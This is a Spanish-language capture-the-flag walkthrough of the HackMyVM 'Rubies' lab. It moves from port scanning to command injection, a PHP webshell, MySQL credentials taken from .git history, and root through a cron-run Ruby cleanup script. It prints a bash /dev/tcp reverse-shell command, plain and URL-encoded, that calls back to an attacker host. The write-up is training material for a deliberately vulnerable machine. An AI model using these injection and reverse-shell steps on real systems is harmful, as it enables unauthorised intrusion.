HackMyVM Rubies — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.18
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que tenemos 2 puertos.
Al realizar un escaneo más profundo y podemos ver que en el puerto 80 tenemos un .git
.
Realizamos un escaneo de subdirectorios y podemos ver que tenemos varios interesantes.
Ingresamos la dirección IP en el navegador y podemos ver que la opción de subir archivos parecen desactivados.
Ingresamos la dirección IP en el navegador y podemos ver que la opción de subir archivos parecen desactivados.
Al dar al botón next
observamos que en efecto nos muestran poemas, pero lo más interesante está en la estructura del URL.
Veremos si podemos leer el /etc/passwd
, luego de enviarlo si tenemos una res puesta positiva.
Agregando un nuevo comando podemos observar que ejecuta comandos.
Probaremos enviando una revshell
bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
Pero para evitar problemas lo URL-encodeamos.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
Antes de enviar iniciamos nuestro listener con el puerto seleccionado.
Vemos una respuesta interesante que indica que detectaron.
Buscando como podemos saltar los espacios tenemos Separadores de Campos de Entrada Probamos con estos parámetros y vemos que sí nos ejecuta.
Con esto lo que haremos es descargar una webshell simple en PHP, ya que vemos que el index es un PHP
. Creamos el archivo y comenzamos el servidor.
Descargamos el archivo.
Listamos y podemos ver que tenemos el archivo en el mismo directorio.
Ejecutamos la shell y podemos ver que sí tenemos respuesta.
Volvemos a probar enviando una revshell
bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
Pero para evitar problemas lo URL-encodeamos.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
Antes de enviar empezamos nuestro listener con el puerto seleccionado.
Enviamos el comando y la web se quedará cargando lo que es buena señal.
Regresando al listener tenemos ya acceso a la máquina.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Buscando permisos y archivos vemos que no tenemos alguno interesante. Recordemos que teníamos un .git
, descargaremos el directorio.
Entramos en el archivo .git y vemos que tenemos el logs
.
Revisamos los commits y tenemos.
Para una mayor claridad hacemos uso de
git log --oneline
realizamos un git show para poder observar los cambios en el commit y encontramos unas credenciales de MySQL.
root:jd92khn49w
Probamos ingresando las credenciales, pero solo nos va con minie
, pero esta nos muestra una nueva pestaña.
Generamos un bash y salimos.
exec("/bin/bash")
Revisamos Permisos, pero no vemos nada interesante. Buscando entre los archivos temporales tenemos uno interesante en opt
.
Comprobando más a fondo vemos que se trata de un Ruby
que es para buscar de manera recursiva y eliminar cualquiera que tenga .php
Descargaremos el archivo pspy64
para ver si tenemos algún programa que esté ejecutando el archivo que encontramos.
Luego de ejecutar vemos que está ejecutando un script interesante que está en Ruby
también.
Ya que se ejecuta con cierta frecuencia, supondremos que este script lee la carpeta cleaning
. Por ello, en la carpeta agregaremos una revshell que obtuvimos en un GitHub.
Iniciamos nuestro listener.
Creamos el archivo y le damos permisos de ejecución para evitar algún posible problema.
Después de unos segundos vemos en nuestro listener y tenemos acceso como root
. De esta manera culminamos esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
